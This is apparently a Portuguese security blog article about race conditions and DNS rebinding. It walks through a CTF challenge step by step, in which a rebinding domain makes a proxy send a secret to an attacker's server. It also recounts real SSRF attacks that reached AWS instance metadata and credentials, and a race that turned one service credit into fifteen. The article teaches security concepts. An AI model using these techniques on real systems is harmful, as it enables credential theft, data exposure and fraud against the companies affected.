DNS Rebinding, um caso de race condition.

1 year ago 63
BOOK THIS SPACE FOR AD
ARTICLE AD

Salve galera! Beleza?

Bom, para escrever esse artigo aqui eu primeiramente pensei em qual linguagem usar.
Resolvi, então, realmente fazer algo um pouco mais descontraído do que de costume (tentarei rsrs) — e, consequentemente, mais fluido de ler — , já que assim eu tenho aprendido desde criança, de forma autodidata / distante daquele ensino estilo acadêmico.
Não é por aversão acadêmica; pelo contrário: eu acredito que a academia guarda uma quantidade enorme e profunda de conhecimento, com veia de pesquisa. Mas quando se trata de transmitir conhecimento, eu sempre tive bastante dificuldade em absorvê-lo somente procurando respostas de perguntas já feitas, pois precisava aprender com meus próprios erros.

Então, deixando agora estas minhas filosofias de lado…

Eu peguei uns casos bem legais de Race condition (ou TOC-TOU) estudando umas aplicações, principalmente de DNS rebinding e queria compartilhar com vocês para não acharem que é uma vulnerabilidade somente teórica ou distante / rara.

Muitos confundem race condition com a ausência de mecanismo antiautomação

Um dos motivos deste artigo é que vi ser bastante comum o cenário de segurança reportar vulnerabilidades com o nome de race condition quando na verdade estão reportando uma ausência de mecanismo antiautomação. Você saberia explicar a diferença?

Sob minha humilde perspectiva, eu resumiria assim:

Em uma dada funcionalidade da aplicação, esta funcionalidade não emprega um mecanismo que dificulte sua automação de forma a trazer vantagens para o invasor explorar mais facilmente sua aplicação.

Exemplo: Existe um formulário de login no site ao qual eu posso submetê-lo e interceptar a requisição de autenticação enviada por ele - de forma a repeti-la -, e modificar o parâmetro senha enviado (neste exemplo a fim de tentar fazer um bruteforce em algum usuário específico), sem qualquer impedimento por parte do sistema de reduzir a quantidade de tentativas por segundo de autenticação do invasor, uma vez que não emprega mecanismo que dificulte sua automação, por exemplo implementação de um captcha.

Segundo o Mitre (https://cwe.mitre.org/data/definitions/367.html), um race condition ocorre quando um produto verifica corretamente o estado atual de um recurso antes de seu consumo, mas não leva em conta que o estado deste recurso pode alterar entre a checagem e o real uso dele, de tal forma invalidando/bypassando o resultado da etapa de checagem. Por esta razão, é também apelidada de TOC-TOU (Time-of-check Time-of-use).Exemplo: Com seu aplicativo bancário você quer realizar uma transferência para mim (Bruno).
Para realizar uma transferência em seu banco, o sistema primeiro verifica se você tem aquele dinheiro e após efetua a transferência e a subtração do valor, certo?
Agora imagine que esses dois (2) processos sejam partes de um ecossistema de integrações de API, de forma que seja razoável admitirmos que entre a checagem de seu saldo e a transferência de saque possa existir um delay razoável em dadas circunstâncias.
(Parte do mindblowing) Agora pense que você tem cem reais (R$100) na conta e seu banco não permite saldo negativo (vamos imaginar que não possui pois seria uma funcionalidade de empréstimo que o banco não provê para você).
Você então clica duas vezes em efetuar transferência do saldo total que você tem para mim.
Devido à isto, duas (2) requisições foram enviadas para a API de seu banco e o seguinte comportamento foi executado:1 — A aplicação recebeu a primeira solicitação de transferência, então verifico que você tem os R$100 que solicitou para transferência. Beleza … transfiro os R$100 para o Bruno. Agora, basta seguir para o etapa de subtrair o val…2 — Ops! No meio do processo chegou outra requisição para transferência. Hm… vou ver se você tem o suficiente para transferir isto que você solicitou. Hmm.. parece que você tem os R$100, beleza, pode transferir isso aí que pediu :).3 — A primeira requisição então finaliza sua operação realizando a subtração dos R$100 transferidos, ficando sua conta agora com R$0.00.4 — A segunda requisição então finaliza sua operação realizando a subtração de outros R$100, mas você tem atualmente R$0 e devido a não permitir saldo negativo, você continua com o saldo total equivalente a R$0.00.Adivinha quanto foi o valor que eu recebi de suas transferências :) ? Isto mesmo, R$200.00. Você acaba de explorar um race condition.
Agora que você já sabe como acontece um race condition, você pode aplicá-lo em diferentes contextos. DNS Rebinding como o pŕoprio nome sugere: Você vai rebindar/religar o DNS / “bindando” ele duas (2) vezes.A primeira “bindagem” você faz seu domínio resolver para um IP que atenda à uma restrição que a aplicação que você está atacando impõe (como por exemplo resolver para 127.0.0.1 / localhost — pois é considerado uma rede segregada segura). Logo após esta condição ser atendida (oh a definição de race condition aí), você rebinda seu domínio para um novo IP, ao qual está sob sua posse (Vamos supor que eu tenha uma VPS com o IP 1.2.3.4).Para ficar mais claro sobre como ocorre o cenário acima, criei um desafio de DNS Rebinding na de desafios. https://bountyleaks.cf/challenge.
Desta forma, vou apresentar nos próximos passos uma resolução mais resumida (comparada com as writeups que sempre faço para cada desafio lançado) de como resolvê-lo e qual é o comportamento executado no backend:1. Acesse a URL: https://bountyleaks.cf/challenge/proxy.php.2. Faça um fuzzing de parâmetros, de forma a descobrir que o parâmetro domain provoca um comportamento diferente na aplicação (existe uma nova funcionalidade presente com a utilização dele).3. Acesse https://bountyleaks.cf/challenge/proxy.php?domain=teste.com.br e note que domínio teste.com.br não é permitido, vide a mensagem: “The inputted domain is not allowed”.4. Tenha em mãos algum domínio que resolverá para localhost, a exemplo 127.0.0.1.nip.io. Desta forma acesse: https://bountyleaks.cf/challenge/proxy.php?domain=127.0.0.1.nip.ioOpa, tivemos um comportamento diferente! Veja a mensagem retornada: “Secret sent to the domain successfully :)”5. Sabemos então que quando um domínio resolve localmente (127.0.0.1) a aplicação envia um segredo para o domínio que controlamos. O mesmo dado que enviamos na etapa de validação (se o domínio é permitido ou não), é também usado para a etapa de envio do segredo. Então… Como podemos receber esse segredo se ele é enviado só localmente?
Isso mesmo, usando DNS Rebinding através do abuso de um Race condition.6. O que temos que fazer agora é atender à etapa de validação com um domínio que resolve para um IP internamente e após essa consulta DNS o IP alterar para um de nossa posse, dessa forma enviando o segredo para nossa VPS.7. Você pode configurar este domínio que resolve primeiro para um IP e após receber uma primeira consulta alterar para os próximos resolver para outro, de duas formas:
a) Usando uma solução que deve ser hospedada em sua VPS (Consulte o respositório https://github.com/brannondorsey/dns-rebind-toolkit).
b) Utilizando o serviço https://ceye.io/, o qual vai criar uma URL final para gente, sem precisar que tenhamos uma VPS.8. Bem, ao final será gerada uma URL estilo esta: r.5t9yy4.ceye.io
Ela será responsável por responder as vezes para localhost e às vezes para o IP da minha VPS (portanto você deve criar o seu link no site, para responder para um IP que você controla).
No painel do ceye.io, ficará algo como (lembre de acrescer r. ao inicio do identifier, para acionar a resolução por DNS Rebinding):
9. Com a URL que permitira o DNS rebinding ser executado em mãos, simplesmente acrecemos esse domínio à URL do desafio, ficando: https://bountyleaks.cf/challenge/proxy.php?domain=r.5t9yy4.ceye.io10. Nesse momento a aplicação tenta resolver o IP do domínio r.5t9yy4.ceye.io e recebe o valor 127.0.0.1. Beleza! Pode passar, já que é interno =)11. Agora, a aplicação vai enviar o segredo para r.5t9yy4.ceye.io, mas espera aí. Assim que o CURL está sendo realizado, ele nota que a resolução de IP não é mais 127.0.0.1 (oooohhhh yeahhh), forjamos o envio do segredo para o IP de nossa VPS =)
Recebimento do access_token da aplicação através de uma header enviada por SSRF pela aplicação =)12. PARABÉNS. Concluímos o desafio o/

A inspiração para esse desafio certamente veio através da exploração de uma aplicação real e muito conhecida.
Adianto que devido a ela não estar em programa de bugbounty, vou chamá-la de EmpresaDoZero =)

A aplicação EmpresaDoZero tinha uma funcionalidade de importação de arquivo a partir de uma URL externa.

Ao utilizar esta funcionalidade, a seguinte URL era chamada: https://empresadozero.com/proxy/?url=http://siteexterno.com

Quando vemos esse tipo de padrão, imeditamente pensamos: SSRF!

Tentei, então, acessar https://empresadozero.com/proxy/?url=http://127.0.0.1. E a aplicação mostrou um erro, como se a solicitação fosse inválida.

Claro, também tentei o IP de acesso uma provavel instância na Amazon (a fim de ler o metadata): https://empresadozero.com/proxy/?url=http://169.254.169.254. Também não obtive resultado =(.

Então, resolvi colocar o endereço da minha VPS e fiquei escutando consultas DNS e HTTP, usando o interach-sh (https://github.com/projectdiscovery/interactsh). Deixei também uma imagem para a aplicação buscar, chamada zerocool.png.

Assim que acessei https://empresadozero.com/proxy/?url=http://bountyleaks.cf/zerocool.png, recebi duas (2) requisições da aplicação, mas com diferentes IPs: Uma delas era uma consulta DNS e outra HTTP.

Então pensei aquela lógica do TOC-TOU que já mencionei aqui: E se eu forjar a requisição para um IP diferente daquele quando foi feita a primeira validação?

Pensei também que provavelmente a primeira requisição que recebi (DNS) armazenava se o domínio correspondia à algum IP com potencial risco (resolvendo localmente) e caso fosse um IP externo, passaria para a próxima etapa, fazendo uma requisição HTTP para baixar a imagem.

Existe a preocupação da aplicação com o domínio que estamos enviando resolver para um IP local pois o atacante — usando agora a aplicação como proxy - poderia trafegar dentro da rede que a aplicação está alocada, tendo conquistado, assim, um Non-Blind SSRF.

Voltando à exploração feita, criei um script para assim que recebesse uma requisição da aplicação resolvesse para um domínio qualquer, mas assim que recebesse a segunda, redirecionava para o metadata da instância da AWS.

(Este script foi substancialmente inspirado no writeup do Vinicius Ribeiro, o qual você pode ler mais aqui):

https://www.linkedin.com/pulse/bounty-writeup-ssrf-aws-api-vinicius-ribeiro-ferreira-da-silva/

Dessa forma, assim que acessei novamente https://empresadozero.com/proxy/?url=http://bountyleaks.cf/, tendo agora este script escutando na porta web, que bypassa a primeira condição da aplicação sobre impossibilidade de IPs locais e após a segunda requisição o script forja a requisição redirecionando-a para o metadata da instância da AWS:

Não só consegui ter acesso as credenciais da instância da AWS usada pela aplicação como também utilizá-la e listar todos os buckets hospedados por ela. Encontrei backups da aplicação com SQL, variáveis de ambiente, códigos de produção, enfim, foi uma loucura e foi devidamente reportado para o CEO, ao qual em alguns dias fez o fixing.

Um cenário real de race condition que eu tenho para contar para vocês, foi em uma aplicação a qual chamarei de OutraEmpresaDoZero.

A OutraEmpresaDoZero concedia 1 crédito para que você pudesse experimentar seus serviços e, consequentemente, após isso você teria que assinar um plano para receber mais créditos.

Então assim que você usava uma dada funcionalidade na aplicação, um (1) crédito era descontado de sua conta.

Veio a ideia de race condition aí tambem? rsrsrs

Você lembra do exemplo que dei do aplicativo bancário? Foi o mesmo cenário que rolou aqui…

Estudei como era a requisição feita pela OutraEmpresaDoZero para “gastar o crédito” e forcei 15 requisições executarem ao mesmo tempo, para 15 “coisas” diferentes dentro da aplicação, possuindo só 1 de crédito na minha conta.

Sabe qual foi o final? Fiquei com 0 créditos, mas com 15 serviços reservados.
E OutraEmpresaDoZero ainda permitia você cancelar essa reserva, voltando 1 de crédito para sua conta.
Não faço milagres, mas transformei um (1) crédito em quinze (15), somente por uma falha de TOC-TOU.

Agradeço seu tempo por ter lido todo este artigo.
Agradeço também à Ana Maria Guimarães, a mulher da minha vida, pelas ideias no texto e por ser a maior referência que eu já vi de LGPD.

Sinta-se livre para me contatar nos seguintes canais:
https://twitter.com/zeroc00i
https://www.linkedin.com/in/bruno-menozzi/
https://t.me/zeroc00i

Referências:

https://cwe.mitre.org/data/definitions/367.html

Read Entire Article